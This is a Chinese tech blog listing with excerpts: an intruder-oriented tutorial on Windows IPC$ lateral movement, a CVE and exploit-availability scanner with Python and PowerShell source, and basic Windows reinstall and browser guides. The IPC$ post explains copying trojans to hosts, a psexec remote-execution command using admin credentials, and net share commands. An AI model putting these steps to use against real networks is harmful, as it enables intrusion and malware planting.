...

    2021-02-15 3205
  • Windows局域网渗透(IPC$管道)

    黑客技术——ipc$命令所使用的端口 首先我们来了解一些基础知识:1.SMB:(Server Message Block) Windows协议族,用于文件打印共享的服务;2.NBT:(NETBios Over TCP/IP)使用137(UDP)138(UDP)139(TCP)端口实现基于TCP/IP协议的NETBIOS网络互联。3.在WindowsNT中SMB基于NBT实现,即使用139(TCP)端口;而在Windows2000中,SMB除了基于NBT实现,还可以直接通过445端口实现。 有了这些基础知识,我们就可以进一步来讨论访问网络共享对端口的选择了:对于win2000客户端(发起端)来说:1.如果在允许NBT的情况下连接服务器时,客户端会同时尝试访问139和445端口,如果445端口有响应,那么就发送RST包给139端口断开连接,用455端口进行会话,当445端口无响应时,才使用139端口,如果两个端口都没有响应,则会话失败;2.如果在禁止NBT的情况下连接服务器时,那么客户端只会尝试访问445端口,如果445端口无响应,那么会话失败。 对于win2000服务器端来说:1.如果允许NBT, 那么UDP端口137, 138, TCP 端口 139, 445将开放(LISTENING);2.如果禁止NBT,那么只有445端口开放。 我们建立的ipc$会话对端口的选择同样遵守以上原则。显而易见,如果远程服务器没有监听139或445端口,ipc$会话是无法建立的。 黑客技术——ipc管道在黑客攻击中的意义 ipc管道本来是微软为了方便管理员进行远程管理而设计的,但在入侵者看来,开放ipc管道的主机似乎更容易得手。通过ipc管道,我们可以远程调用一些系统函数(大多通过工具实现,但需要相应的权限),这往往是入侵成败的关键。如果不考虑这些,仅从传送文件这一方面,ipc管道已经给了入侵者莫大的支持,甚至已经成为了最重要的传输手段,因此你总能在各大论坛上看到一些朋友因为打不开目标机器的ipc管道而一筹莫展大呼救命。当然,我们也不能忽视权限在ipc管道中扮演的重要角色,想必你一定品尝过空会话的尴尬,没有权限,开启管道我们也无可奈何。但入侵者一旦获得了管理员的权限,那么ipc管道这把双刃剑将显示出它狰狞的一面。 黑客技术——ipc$连接失败的常见原因 以下是一些常见的导致ipc$连接失败的原因: 1 IPC连接是Windows NT及以上系统中特有的功能,由于其需要用到Windows NT中很多DLL函数,所以不能在Windows 9.x/Me系统中运行,也就是说只有nt/2000/xp才可以相互建立ipc$连接,98/me是不能建立ipc$连接的; 2 如果想成功的建立一个ipc$连接,就需要响应方开启ipc$共享,即使是空连接也是这样,如果响应方关闭了ipc$共享,将不能建立连接; 3 连接发起方未启动Lanmanworkstation服务(显示名为:Workstation):它提供网络链结和通讯,没有它发起方无法发起连接请求; 4 响应方未启动Lanmanserver服务(显示名为:Server):它提供了 RPC 支持、文件、打印以及命名管道共享,ipc$依赖于此服务,没有它主机将无法响应发起方的连接请求,不过没有它仍可发起ipc$连接; 5 响应方未启动NetLogon,它支持网络上计算机 pass-through 帐户登录身份(不过这种情况好像不多); 6 响应方的139,445端口未处于监听状态或被防火墙屏蔽; 7 连接发起方未打开139,445端口; 8 用户名或者密码错误:如果发生这样的错误,系统将给你类似于'无法更新密码'这样的错误提示(显然空会话排除这种错误); 9 命令输入错误:可能多了或少了空格,当用户名和密码中不包含空格时两边的双引号可以省略,如果密码为空,可以直接输入两个引号""即可; 10 如果在已经建立好连接的情况下对方重启计算机,那么ipc$连接将会自动断开,需要重新建立连接。  另外,你也可以根据返回的错误号分析原因:  错误号5,拒绝访问:很可能你使用的用户不是管理员权限的;  错误号51,Windows无法找到网络路径:网络有问题;  错误号53,找不到网络路径:ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);  错误号67,找不到网络名:你的lanmanworkstation服务未启动或者目标删除了ipc$;  错误号1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个ipc$,请删除再连;  错误号1326,未知的用户名或错误密码:原因很明显了;  错误号1792,试图登录,但是网络登录服务没有启动:目标NetLogon服务未启动; 错误号2242,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码。  黑客技术——复制文件失败的原因 有些朋友虽然成功的建立了ipc$连接,但在copy时却遇到了这样那样的麻烦,无法复制成功,那么导致复制失败的常见原因又有哪些呢? 1.对方未开启共享文件夹 这类错误出现的最多,占到50%以上。许多朋友在ipc$连接建立成功后,甚至都不知道对方是否有共享文件夹,就进行盲目复制,结果导致复制失败而且郁闷的很。因此我建议大家在进行复制之前务必用net view \\IP这个命令看一下你想要复制的共享文件夹是否存在(用软件查看当然更好),不要认为能建立ipc$连接就一定有共享文件夹存在。 2.向默认共享复制失败 这类错误也是大家经常犯的,主要有两个小方面: 1)错误的认为能建立ipc$连接的主机就一定开启了默认共享,因而在建立完连接之后马上向c$,d$,admin$之类的默认共享复制文件,一旦对方未开启默认共享,将导致复制失败。ipc$连接成功只能说明对方打开了ipc$共享,并不能说明默认共享一定存在。ipc$共享与默认共享是两码事,ipc$共享是一个命名管道,并不是哪个实际的文件夹,而默认共享却是实实在在的共享文件夹; 2)由于net view \\IP 这个命令无法显示默认共享文件夹(因为默认共享带$),因此通过这个命令,我们并不能判断对方是否开启了默认共享,因此如果对方未开启默认共享,那么所有向默认共享进行的操作都不能成功;(不过大部分扫描软件在扫弱口令的同时,都能扫到默认共享目录,可以避免此类错误的发生) 要点:请大家一定区分ipc共享,默认共享,普通共享这三者的区别:ipc共享是一个管道,并不是实际的共享文件夹;默认共享是安装时默认打开的文件夹;普通共享是我们自己开启的可以设置权限的共享文件夹。 3.用户权限不够,包括四种情形: 1)空连接向所有共享(默认共享和普通共享)复制时,权限是不够的; 2)向默认共享复制时,在Win2000 Pro版中,只有Administrators和Backup Operators组成员才可以,在Win2000 Server版本 Server Operatros组也可以访问到这些共享目录;  3)向普通共享复制时,要具有相应权限(即对方管理员事先设定的访问权限); 4)对方可以通过防火墙或安全软件的设置,禁止外部访问共享; 注意: 1.不要认为administrator就一定具有管理员权限,管理员名称是可以改的。 2.管理员可以访问默认共享的文件夹,但不一定能够访问普通的共享文件夹,因为管理员可以对普通的共享文件夹进行访问权限设置,如图6,管理员为D盘设置的访问权限为仅允许名为xinxin的用户对该文件夹进行完全访问,那么此时即使你拥有管理员权限,你仍然不能访问D盘。不过有意思的是,如果此时对方又开启了D$的默认共享,那么你却可以访问D$,从而绕过了权限限制,有兴趣的朋友可以自己做测试。 4.被防火墙杀死或在局域网 还有一种情况,那就是也许你的复制操作已经成功,但当远程运行时,被防火墙杀掉了,导致找不到文件;或者你把木马复制到了局域网内的主机,导致连接失败(反向连接的木马不会发生这种情况)。如果你没有想到这种情况,你会以为是复制上出了问题,但实际你的复制操作已经成功了,只是运行时出了问题。 黑客技术——关于at命令和xp对ipc$的限制 本来还想说一下用at远程运行程序失败的原因,但考虑到at的成功率不是很高,问题也很多,在这里就不提它了(提的越多,用的人就越多),而是推荐大家用psexec.exe远程运行程序,假设想要远程机器执行本地c:\xinxin.exe文件,且管理员为administrator,密码为1234,那么输入下面的命令: psexec \\ip -u administrator -p 1234 -c c:\xinxin.exe 如果已经建立ipc连接,则-u -p这两个参数不需要,psexec.exe将自动拷贝文件到远程机器并运行。 本来xp中的ipc$也不想在这里讨论,想单独拿出来讨论,但看到越来越多的朋友很急切的提问为什么遇到xp的时候,大部分操作都很难成功。我在这里就简单提一下吧,在xp的默认安全选项中,任何远程访问仅被赋予来宾权限,也就是说即使你是用管理员帐户和密码,你所得到的权限也只是Guest,因此大部分操作都会因为权限不够而失败,而且到目前为止并没有一个好的办法来突破这一限制。所以如果你真的得到了xp的管理员密码,我建议你尽量避开ipc管道。 黑客技术——如何打开目标的IPC$共享以及其他共享 目标的ipc$不是轻易就能打开的,否则就要天下打乱了。你需要一个admin权限的shell,比如telnet,木马,cmd重定向等,然后在shell下执行: net share ipc$ 开放目标的ipc$共享; net share ipc$ /del 关闭目标的ipc$共享;如果你要给它开共享文件夹,你可以用: net share xinxin=c:\ 这样就把它的c盘开为共享名为xinxin共享文件夹了。(可是我发现很多人错误的认为开共享文件夹的命令是net share c$,还大模大样的给菜鸟指指点点,真是误人子弟了)。再次声明,这些操作都是在shell下才能实现的。 黑客技术——一些需要shell才能完成的命令 看到很多教程这方面写的十分不准确,一些需要shell才能完成命令就简简单单的在ipc$连接下执行了,起了误导作用。那么下面我总结一下需要在shell才能完成的命令: 1 向远程主机建立用户,激活用户,修改用户密码,加入管理组的操作需要在shell下完成; 2 打开远程主机的ipc$共享,默认共享,普通共享的操作需要在shell下完成; 3 运行/关闭远程主机的服务,需要在shell下完成; 4 启动/杀掉远程主机的进程,也需要在shell下完成(用软件的情况下除外,如pskill)。 ipc$连接在实际操作过程中会出现各种各样的问题,本文就为大家总结这么多内容,如有遗漏欢迎指正。 ...

    2021-01-02 1522
  • Windows主机漏洞扫描工具

    0×00 说明: 这是一款基于主机的漏洞扫描工具,采用多线程确保可以快速的请求数据,采用线程锁可以在向sqlite数据库中写入数据避免database is locked的错误,采用md5哈希算法确保数据不重复插入。 本工具查找是否有公开exp的网站为shodan,该网站限制网络发包的速度,因而采用了单线程的方式,且耗时较长。 功能: 查找主机上具有的CVE 查找具有公开EXP的CVE 0×01 起因: 因为需要做一些主机漏洞扫描方面的工作,因而编写了这个简单的工具。之前也查找了几款类似的工具,如下: vulmap: vulmon开发的一款开源工具,原理是根据软件的名称和版本号来确定,是否有CVE及公开的EXP。这款Linux的工具挺好用,但是对于Windows系统层面不太适用。 windows-exp-suggester: 这款和本工具的原理一样,尝试使用了之后,发现它的CVEKB数据库只更新到2017年的,并且没有给出CVE是否有公开的EXP信息。 基于以上所以写了这个简单的工具,该项目在https://github.com/chroblert/WindowsVulnScan 0×02 原理: 1. 搜集CVE与KB的对应关系。首先在微软官网上收集CVE与KB对应的关系,然后存储进数据库中 2. 查找特定CVE网上是否有公开的EXP 3. 利用powershell脚本收集主机的一些系统版本与KB信息 4. 利用系统版本与KB信息搜寻主机上具有存在公开EXP的CVE 0×03 参数:  # author: JC0o0l  # GitHub: https://github.com/chroblert/  可选参数:    -h, --help           show this help message and exit    -u, --update-cve     更新CVEKB数据    -U, --update-exp     更新CVEEXP数据    -C, --check-EXP       检索具有EXP的CVE    -f FILE, --file FILE ps1脚本运行后产生的.json文件 0×04 示例: 1. 首先运行powershell脚本KBCollect.ps收集一些信息  .\KBCollect.ps1 2. 将运行后产生的KB.json文件移动到cve-check.py所在的目录 3. 安装一些python3模块  python3 -m pip install requirements.txt 4. 运行cve-check.py -u创建CVEKB数据库 5. 运行cve-check.py -U更新CVEKB数据库中的hasPOC字段 6. 运行cve-check.py -C -f KB.json查看具有公开EXP的CVE,如下: 0×05 源码: KBCollect.ps1:  function Get-CollectKB(){      # 1. 搜集所有的KB补丁      $KBArray = @()      $KBArray = Get-HotFix|ForEach-Object {$_.HotFixId}      $test = $KBArray|ConvertTo-Json      return $test  }  function Get-BasicInfo(){      # 1. 操作系统      # $windowsProductName = (Get-ComputerInfo).WindowsProductName      $windowsProductName = (Get-CimInstance Win32_OperatingSystem).Caption      # 2. 操作系统版本      $windowsVersion = (Get-ComputerInfo).WindowsVersion      $basicInfo = "{""windowsProductName"":""$windowsProductName"",""windowsVersion"":""$windowsVersion""}"      return $basicInfo        }  $basicInfo = Get-BasicInfo  $KBList = Get-CollectKB  $KBResult = "{""basicInfo"":$basicInfo,""KBList"":$KBList}"  $KBResult|Out-File KB.json -encoding utf8 cve-check.py:  import requests  import sqlite3  import json  import hashlib  import math  import re  import threading  import time  import argparse  from pathlib import Path  # 删除一些ssl 认证的warnging信息  requests.packages.urllib3.disable_warnings()    ThreadCount=20  DBFileName="CVEKB.db"  TableName="CVEKB"  insertSQL = []  updateSQL = []  lock = threading.Lock()  KBResult = {}  parser = argparse.ArgumentParser()  parser.add_argument("-u","--update-cve",help="更新CVEKB数据",action="store_true")  parser.add_argument("-U","--update-exp",help="更新CVEEXP数据",action="store_true")  parser.add_argument("-C","--check-EXP",help="检索具有EXP的CVE",action="store_true")  parser.add_argument("-f","--file",help="ps1脚本运行后产生的.json文件")  args = parser.parse_args()    class CVEScanThread(threading.Thread):      def __init__(self,func,args,name="",):          threading.Thread.__init__(self)          self.func = func          self.args = args          self.name = name          self.result = None        def run(self):          print("thread:{} :start scan page {}".format(self.args[1],self.args[0]))          self.result = self.func(self.args[0],)          print("thread:{} :stop scan page {}".format(self.args[1],self.args[0]))  class EXPScanThread(threading.Thread):      def __init__(self,func,args,name="",):          threading.Thread.__init__(self)          self.func = func          self.args = args          self.name = name          self.result = None        def run(self):          print("thread:{} :start scan CVE: {},xuehao:{}".format(self.args[1],self.args[0],self.args[2]))          self.result = self.func(self.args[0],)          print("thread:{} :stop scan CVE: {}".format(self.args[1],self.args[0]))      def get_result(self):          threading.Thread.join(self)          try:              return self.result          except Exception:              return "Error"  def get_page_num(num=1,pageSize=100):      url = "https://portal.msrc.microsoft.com/api/security-guidance/en-us"      payload = "{\"familyIds\":[],\"productIds\":[],\"severityIds\":[],\"impactIds\":[],\"pageNumber\":" + str(num) + ",\"pageSize\":" + str(pageSize) + ",\"includeCveNumber\":true,\"includeSeverity\":false,\"includeImpact\":false,\"orderBy\":\"publishedDate\",\"orderByMonthly\":\"releaseDate\",\"isDescending\":true,\"isDescendingMonthly\":true,\"queryText\":\"\",\"isSearch\":false,\"filterText\":\"\",\"fromPublishedDate\":\"01/01/1998\",\"toPublishedDate\":\"03/02/2020\"}"      headers = {          'origin': "https//portal.msrc.microsoft.com",          'referer': "https//portal.msrc.microsoft.com/en-us/security-guidance",          'accept-language': "zh-CN",          'user-agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299",          'accept': "application/json, text/plain, */*",          'accept-encoding': "gzip, deflate",          'host': "portal.msrc.microsoft.com",          'connection': "close",          'cache-control': "no-cache",          'content-type': "application/json",         }        response = requests.request("POST", url, data=payload, headers=headers, verify = False)      resultCount = json.loads(response.text)['count']      return math.ceil(int(resultCount)/100)    def update_cvekb_database(num=1,pageSize=100):      pageCount = get_page_num()      #for i in range(1,pageCount+1):      i = 1      pageCount=524      tmpCount = ThreadCount      while i <= pageCount:          tmpCount = ThreadCount if (pageCount - i) >= ThreadCount else pageCount - i          print("i:{},pageCount-i:{},ThreadCount:{},PageCount:{}".format(i,pageCount-i,ThreadCount,pageCount))          time.sleep(0.5)              threads = []          print("===============================")          for j in range(1,tmpCount + 1):              print("更新第{}页".format(i+j-1))              t = CVEScanThread(update_onepage_cvedb_database,(i+j-1,j,),str(j))              threads.append(t)          for t in threads:              t.start()          for t in threads:              t.join()              # update_onepage_cvedb_database(num=i)          i = i + tmpCount          conn = sqlite3.connect(DBFileName)          for sql in insertSQL:              conn.execute(sql)          conn.commit()          conn.close()          if tmpCount != ThreadCount:              break                      def check_POC_every_CVE(CVEName=""):      #apiKey = ""      #url = "https://exploits.shodan.io/api/search?query=" + CVEName + "&key=" + apiKey      url = "https://exploits.shodan.io/?q=" + CVEName      try:          response = requests.request("GET",url=url,verify=False,timeout=10)          #total = json.loads(response.text)      except Exception as e:          print("Error,{}".format(CVEName))          print(e)          return "Error"      if "Total Results" not in response.text:          return "False"      else:          return "True"  def update_onepage_cvedb_database(num=1,pageSize=100):      url = "https://portal.msrc.microsoft.com/api/security-guidance/en-us"        payload = "{\"familyIds\":[],\"productIds\":[],\"severityIds\":[],\"impactIds\":[],\"pageNumber\":" + str(num) + ",\"pageSize\":" + str(pageSize) + ",\"includeCveNumber\":true,\"includeSeverity\":false,\"includeImpact\":false,\"orderBy\":\"publishedDate\",\"orderByMonthly\":\"releaseDate\",\"isDescending\":true,\"isDescendingMonthly\":true,\"queryText\":\"\",\"isSearch\":false,\"filterText\":\"\",\"fromPublishedDate\":\"01/01/1998\",\"toPublishedDate\":\"03/02/2020\"}"      headers = {          'origin': "https//portal.msrc.microsoft.com",          'referer': "https//portal.msrc.microsoft.com/en-us/security-guidance",          'accept-language': "zh-CN",          'user-agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299",          'accept': "application/json, text/plain, */*",          'accept-encoding': "gzip, deflate",          'host': "portal.msrc.microsoft.com",          'connection': "close",          'cache-control': "no-cache",          'content-type': "application/json",         }      try:          response = requests.request("POST", url, data=payload, headers=headers, verify = False)          resultList = json.loads(response.text)['details']      except :          print(response.text)      conn = sqlite3.connect(DBFileName)      create_sql = """Create Table IF NOT EXISTS {} (         hash TEXT UNIQUE,         name TEXT,         KBName TEXT,         CVEName TEXT,         impact TEXT,         hasPOC TEXT)""".format(TableName)      conn.execute(create_sql)      conn.commit()      conn.close()      for result in resultList:          KBName = result['articleTitle1'] + ";" if (result['articleTitle1'] !=  None) and result['articleTitle1'].isdigit() else ""          KBName += result['articleTitle2'] + ";" if (result['articleTitle2'] != None) and result['articleTitle2'].isdigit() else ""          KBName += result['articleTitle3'] + ";" if (result['articleTitle3'] != None) and result['articleTitle3'].isdigit() else ""          KBName += result['articleTitle4'] + ";" if (result['articleTitle4'] != None) and result['articleTitle4'].isdigit() else ""          if KBName == "":              continue          h1 = hashlib.md5()          metaStr = result['name'] + KBName + result['cveNumber'] + result['impact']          h1.update(metaStr.encode('utf-8'))          #hasPOC = check_POC_every_CVE(result['cveNumber'])          # 收集到所有的KB后再搜索有没有公开的EXP          hasPOC = ""          sql = "INSERT OR IGNORE INTO "+TableName+" VALUES ('" + h1.hexdigest() + "','" + result['name'] + "','" + KBName + "','" + result['cveNumber'] + "','" + result['impact'] + "','" + hasPOC+"')"          with lock:              global insertSQL              insertSQL.append(sql)          # conn.execute(sql)      # conn.commit()      # conn.close()      # pass    def select_CVE(tmpList=[],windowsProductName="",windowsVersion=""):      conn = sqlite3.connect(DBFileName)      con = conn.cursor()      intersectionList = []      count = 0      for i in tmpList:          sql = 'select distinct(CVEName) from '+ TableName+' where (name like "'+ windowsProductName+'%'+ windowsVersion + '%") and ("'+ i +'" not in (select KBName from '+ TableName +' where name like "'+ windowsProductName+'%'+windowsVersion+'%")); '          cveList = []          for cve in con.execute(sql):              cveList.append(cve[0])          if count == 0:              intersectionList = cveList.copy()          count +=1          intersectionList = list(set(intersectionList).intersection(set(cveList)))      intersectionList.sort()      for cve in intersectionList:          sql = "select CVEName from {} where CVEName == '{}' and hasPOC == 'True'".format(TableName,cve)          # print(sql)          con.execute(sql)          if len(con.fetchall()) != 0:              print("{} has EXP".format(cve))      # print(intersectionList)  def update_hasPOC(key = "Empty"):      conn = sqlite3.connect(DBFileName)      con = conn.cursor()      if key == "All":          sql = "select distinct(CVEName) from {}".format(TableName)      else:          sql = "select distinct(CVEName) from {} where (hasPOC IS NULL) OR (hasPOC == '')".format(TableName)        con.execute(sql)      cveNameList = con.fetchall()      i = 0      count = 1      while i < len(cveNameList):          print("|=========={}============|".format(i))          # tmpCount = ThreadCount if (len(cveNameList) - i) >= ThreadCount else len(cveNameList) - i          # threads = []          # for j in range(1,tmpCount+1):          #     t = EXPScanThread(check_POC_every_CVE,(cveNameList[i+j][0],j,i+j,),str(j))          #     threads.append(t)          # for t in threads:          #     t.start()          # for t in threads:          #     t.join()          # j = 1          # for t in threads:          #     hasPOC = t.get_result()          #     print(hasPOC)          #     update_sql = "UPDATE "+TableName+" set hasPOC = '" + hasPOC + "' WHERE cveName == '" + cveNameList[i+j][0] +"';"          #     conn.execute(update_sql)          #     print("[+] update:{}".format(update_sql))          #     j += 1          # i=i+ThreadCount          # conn.commit()          hasPOC = check_POC_every_CVE(cveNameList[i][0])          time.sleep(0.3)          update_sql = "UPDATE "+TableName+" set hasPOC = '" + hasPOC + "' WHERE cveName == '" + cveNameList[i][0] +"';"          conn.execute(update_sql)          print(update_sql)          count += 1          i += 1          if count == 10:              conn.commit()              print("[+]update")              count = 1      conn.commit()      conn.close()      print("Over")      if __name__ == "__main__":      banner = """     ========CVE-EXP-Check===============     |       author:JC0o0l               |     |       wechat:JC_SecNotes         |     |       version:1.0                 |     =====================================     """      print(banner)      if (not args.check_EXP ) and (not args.update_cve) and (not args.update_exp) and args.file is None:          parser.print_help()      if args.update_cve:          update_cvekb_database()      if args.update_exp:          dbfile=Path(DBFileName)          if dbfile.exists():              update_hasPOC(key="Empty")          else:              print("请先使用-u 创建数据库")              parser.print_help()      if args.check_EXP:          dbfile=Path(DBFileName)          if not dbfile.exists():              print("请先使用-u 创建数据库,之后使用 -U 更新是否有EXP")              parser.print_help()              exit()          if args.file:              with open(args.file,"r",encoding="utf-8") as f:                  KBResult = json.load(f)              windowsProductName = KBResult['basicInfo']['windowsProductName']              windowsProductName = ((re.search("\w[\w|\s]+\d+[\s|$]",windowsProductName).group()).strip()).replace("Microsoft","").strip()              windowsVersion = KBResult['basicInfo']['windowsVersion']              print("系统信息如下:")              print("{} {}".format(windowsProductName,windowsVersion))              tmpKBList = KBResult['KBList']              KBList = []              for KB in tmpKBList:                  KBList.append(KB.replace("KB",""))              print("KB信息如下:")              print(KBList)              print("EXP信息如下:")              select_CVE(tmpList=KBList,windowsProductName=windowsProductName,windowsVersion=windowsVersion)          else:              print("请输入.json文件")  ...

    2020-04-12 797
  • 电脑U盘重装Windows7教程

    u盘重装系统win7应该怎么操作,使用u盘重装系统前应该做什么准备?阅读微软电脑u盘重装系统win7教程后,相信大家就能学会如何通过u盘进行win7系统重装,学会了这个小技巧,大家在今后面对系统问题时就能多一种解决方案。 u盘重装win7是重装win7系统的一个较好的办法,使用u盘重装可以在电脑无法进入桌面的情况下对系统进行重装,还能通过pe系统及时抢救电脑内的文件,是一种功能全面的重装方式。大家可以通过雷蛇电脑u盘重装系统win7教程学习如何使用u盘重装。 事前准备: 1.容量8g以上的u盘一个,使用u盘前需要先将u盘内的文件清空或者全部转移。 2.搜索小白系统官网,将小白一键重装系统下载到可以运行的电脑内。 步骤一、制作u盘启动盘 1.将准备好的u盘插入电脑,打开小白一键重装系统,点击制作u盘。 2.选择win7系统进行制作。 3.小白一键重装系统会弹出警告,提示对u盘进行备份,直接点击确定即可。 4.等待u盘启动盘制作完成。 步骤二、设置电脑u盘启动 1.查找火影笔记本电脑的u盘启动热键,可以上网查找,也可以通过小白一键重装系统提供的启动快捷键菜查询。 2.重启电脑,连续按下刚才记录的启动热键,屏幕出现启动选择项后,选择USB选项,按下回车键进行u盘启动。 步骤三、安装系统 1.进入u盘启动后,选择【1】选项按并下回车键,打开小白PE系统。 2.进入小白PE系统,PE系统会自动启动装机工具,使用装机工具安装win7系统。 3.选择C盘为系统盘,点击开始安装。 4.系统安装完成,拔出u盘,点击立即重启。 5.等待电脑重启,按照系统提示完成win7系统初始设置,系统重装完成。 ...

    2020-03-16 877
  • Windows10怎么设置默认浏览器

    Windows10是美国微软公司研发的新一代跨平台及设备应用的操作系统。许多朋友因为工作的需要会给电脑安装多个浏览器,比如安装有谷歌浏览器,360浏览器,火狐浏览器等多个浏览器,那么怎么更改默认浏览器呢,下面就来看看小编的操作方法吧。 win10系统怎么设置默认浏览器 1、点击开始按钮,在开始菜单的左侧打开“设置”。 2、在打开的windows设置界面中点击系统选项打开。 3、在新出现的界面中点击界面左侧的“默认应用”。 4、然后在右侧的“选择默认的应用”的选项中找到“web浏览器”选项点击。 5、在弹出的浏览器选项框中选择需要设置为默认浏览器的浏览器点击即可。 QQ交流群:641912805 ...

    2020-03-16 822
  • 小马一键装机重装系统电脑版

    一款非常傻瓜式的计算机装机工具,有了它 再也不需要找电脑师傅了,自己在家可以换系统了 小马一键重装系统是一款极为简单的重装电脑软件,它凭借着无需任何电脑技术,傻瓜式操作,赢得了用户的认可。真正做到:鼠标直操作、智能检测分析、多元化系统版本选择、全新下载技术、永久免费! 智能检测         对电脑提前打“预防针”,不用我们对电脑评估。小马会全自动智能化监测当前电脑信息,自动分析电脑是否适合使用得重装,不强制安装,保证安装后系统可运性。 ...

    2019-11-13 824
  • 系统安装方法之:PE安装

    (这个安装教程适用于所有的定制系统,uefi+gpt用户记得看文章末尾哦) 你需要准备的东西有: U盘(如果你有的话)、微PE的安装包、还有一个系统镜像 顺带附上微PE的官:www.wepe.com.cn(下载v2.0的) 这里有人会问: Q : 我用大菠萝PE装行嘛 或者 Q:为什么不用xiexinhua PE啊 A:也可以用别的PE装,但是很有可能会给你装一些垃圾软件或者怼点驱动上去,我用微pe的话……是因为这个比较纯净 好了接下来开始正片 下载好微PE的安装包之后,插上U盘(记得备份好文件哦),然后打开安装保 然后按照下图设置(橙色框住的是可以自行修改的选项)修改好以后,点击“安装进U盘”,待安装完成之后,重启,然后通过下列快捷键进入主板的快捷启动菜单uefi+gpt用户需要选择带uefi的启动项,例UEFI:Xieston(U盘名字),bios+mbr用户则反之,选中之后按Enter,然后请耐心等待,稍后会进到PE,进入下一阶段的安装 ps:如果您下载的镜像是iso结尾的,请看第一部分,gho结尾的,请看第二部分 第一部分———iso镜像篇 首先打开Dism++,就是图中的这个软件点击“接受” 即可进入主界面 然后再资源管理器中找到你下载的镜像(这里以原版镜像为例),双击挂载挂载好以后是下图这个样子然后回到Dism++,点击顶部的“恢复功能——-系统还原” 再点击“浏览” 然后按照这个目录找到install.wim之后,选择你要安装到的磁盘(这里默认是C盘,所以不用改动,上面的目标映像也不用改动)记得把添加引导和格式化勾选上哦,之后点击确。 直接点确定 请耐心等待,无聊的话,可以肝一会崩3,或者在群里迫害一下老♂黑 之后等待进度条走完,就可以关机拔掉U盘,然后再开机,就可以进入系统了 第二部分———–gho镜像篇 打开“ CGI备份还原 ”(就下图这个)先选择你要安装系统到哪个分区,然后选择gho镜像,再点击执行 点击确定耐心等待~~这可能需要一点时间,在此之前可以迫害一下老♂黑 PS:安装完成之后bios+mbr用户可以直接重启电脑进行下一阶段,而uefi+gpt用户需要通过Dism++修复引导后才能重启进行下一阶段的安装 (以下为针对uefi+gpt用户的引导修复教程) 打开Dism++,点击顶部的恢复功能,选择引导修复,点击确定,待修复完成之后,就可以重启电脑进行下一阶段的安装了。 ————————————————–End———————————————————— ...

    2019-10-06 974

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:8:00-23:00,节假日休息

扫码关注